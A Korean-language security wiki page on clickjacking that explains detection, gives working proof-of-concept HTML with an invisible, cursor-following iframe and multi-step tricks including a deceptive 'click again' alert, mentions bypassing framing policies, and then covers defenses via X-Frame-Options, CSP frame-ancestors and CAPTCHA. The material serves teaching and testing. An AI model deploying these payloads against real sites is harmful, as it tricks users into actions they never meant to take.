Click Jacking

Offensive Security Engineer, Developer and H4cker.

Introduction

ClickJacking은 frame 등의 환경에서 User Interaction을 유도하여 사용자가 인지하지 못한 상태에서 중요 기능을 수행시키도록 하는 공격 기법을 의미합니다. 기본적으론 피싱과 같이 User Interaction이 필요하지만, Frame 내 포인틴, 투명 레이어 등 CSS 단 처리로 이를 쉽게 인지하지 못하도록 구성하여 상대적으로 성공 가능성이 높습니다.

Offensive techniques

Detect

ClickJacking은 frame 기반의 공격이기 때문에 X-Frame-Options, CSP 등으로 보호받지 않는 페이지는 모두 영향을 받습니다. 다만 ClickJacking에는 이를 성공하기 위한 조건들(중요한 기능이 보호받지 못하는 경우 등)이 필요하기 때문에 아래 스텝으로 체크하는 방법이 편리합니다.

  1. 서비스 내 중요기능 식별
  2. 해당 기능의 User Interaction 체크
  3. X-Frame-Options, CSP 등으로 보호받지 않는 페이지인지 체크
<iframe src="target_site"></iframe>

Exploitation

일반적으로 iframe을 통해 PoC 코드를 구성하곤 합니다.

<iframe src="target_site"></iframe>

이 때 iframe의 style에서 position, left, right, top, bottom, width, height 등을 이용하여 원하는 위치에 마우스 포인팅을 맞출 수 있습니다.

left:-91px;
top:-320px;
position:absolute;
filter:alpha(opacity=0);
z-index:1;
opacity:0;
overflow:hidden;
width:1485px;
height:836px;

다만 이를 직접 계산하기에는 좀 불편하기 때문에 보통 QuickJack 같은 도구를 이용하여 포인팅이 구성된 ClickJacking PoC를 만들 수 있습니다.

<style>body{margin:0px;padding:0px;}</style>
<div style="overflow:hidden;width:1px;height:1px;position:relative;" id=v>
    <iframe id="cksl7" name="cksl7" src="https://www.hahwul.com" style="border:0px;left:-108px;top:-357px;position:absolute;filter:alpha(opacity=0);z-index:1;opacity:0;overflow:hidden;width:1281px;height:604px;"></iframe>
</div>
<script>var d=document;if(!d.all)d.captureEvents(Event.MOUSEMOVE);d.onmousemove=function(e){var i=d.getElementById("v").style;i.left=d.all?event.clientX+d.body.scrollLeft:e.pageX;i.top=d.all?event.clientY+d.body.scrollTop:e.pageY;};</script>
<script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
<script>$(function(){var i=-1;$("#cksl7").hover(function(){i=$(this).closest("#v").attr("qjid");},function(){i=-1;});$(window).focus();$(window).blur(function(){document.getElementById("v").style.visibility="hidden";});});$(window).focus()</script>

https://www.hahwul.com 내 Cullinan 버튼에 포인팅한 PoC

NStep - Multiple frame

2 Step 이상의 Click Jacking을 위해선 여러 iframe과 적절하게 꾸밀 수 있는 CSS 트릭이 필요합니다. 여러 iframe을 각각 step에 맞는 페이지를 로드한 후 CSS로 위장한 페이지에서 클릭을 유도하면 됩니다.

<style>
	.split{
		width: 50%;
		height: 100%;
	}
</style>

<iframe class="split" src="target/step1.page"></iframe>
<iframe class="split" src="target/step2.page"></iframe>

NStep - Event Handler

<script>
	function fire(){
		frm.src="target/step2.page"
		alert("실패하였습니다. 페이지를 한번 더 눌러주세요.")
	}
	frm.addEventListener('click', function(event) {
		fire()
	}, false);
</script>

<iframe id="frm" src="target/step1.page"></iframe>

Bypass protection

Bypass policy

X-Frame-Options, CSP 등으로 보호받고 있다고 하더라도, 이 헤더들의 정책에 따라서 frame 허용이 가능한 경우가 발생할 수 있습니다. 정책을 잘 체크하고 허용된 도메인 등을 확인하여 공격 성공을 유도할 수 있습니다.

Multiple-Step ClickJacking

간혹 User Interaction이 고려된 중요 기능들이 있는 경우 단순 클릭으로 ClickJacking이 어려운 경우도 존재합니다. 다만 이후 액션들이 충분히 클릭, 텍스트 입력 등 유도가 가능한 케이스라면, ClickJacking의 코드단에서 게임과 같은 페이지를 구성하여 사용자의 액션을 유도할 수 있습니다.

(실제로 해커원에서 주사위 게임 PoC가 있었습니다)

Defensive techniques

X-Frame-Options

X-Frame-Options은 HTTP Response Header로 iframe, frame, object 태그를 이용한 렌더링에 대한 정책 헤더입니다. 이를 통해서 의도하지 않은 frame을 막을 수 있어 ClickJacking 공격에 효과적으로 대응할 수 있습니다.

X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
Policy Description
deny 어떠한 사이트에서도 frame 상에서 보여질 수 없습니다.
sameorigin 동일한 사이트(Same-Origin)의 frame에서만 보여집니다.
allow-from uri 지정된 특정 uri의 frame 에서만 보여집니다.

User Interaction

X-Frame-Options 헤더 적용이 어려운 경우, 중요 기능에 대해서 User Interaction을 추가하는 형태로 공격을 예방할 수 있습니다. 단순 클릭 등을 이용한 확인은 쉽게 우회할 수 있는 여지가 있기 때문에 Captcha와 같이 조금 더 강도가 있는 User Interaction 적용으로 통해 ClickJacking을 방어할 수 있습니다.

CSP

CSP(Content-Secuirty-Policy) 헤더를 통해서도 방어할 수 있습니다. frame-ancestors를 통해 frame를 허용할 범위를 지정하여 무분별한 frame을 차단할 수 있습니다.

Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;

Tools

Articles

  • https://www.hahwul.com/2017/07/07/web-hacking-easily-trigger-event/

References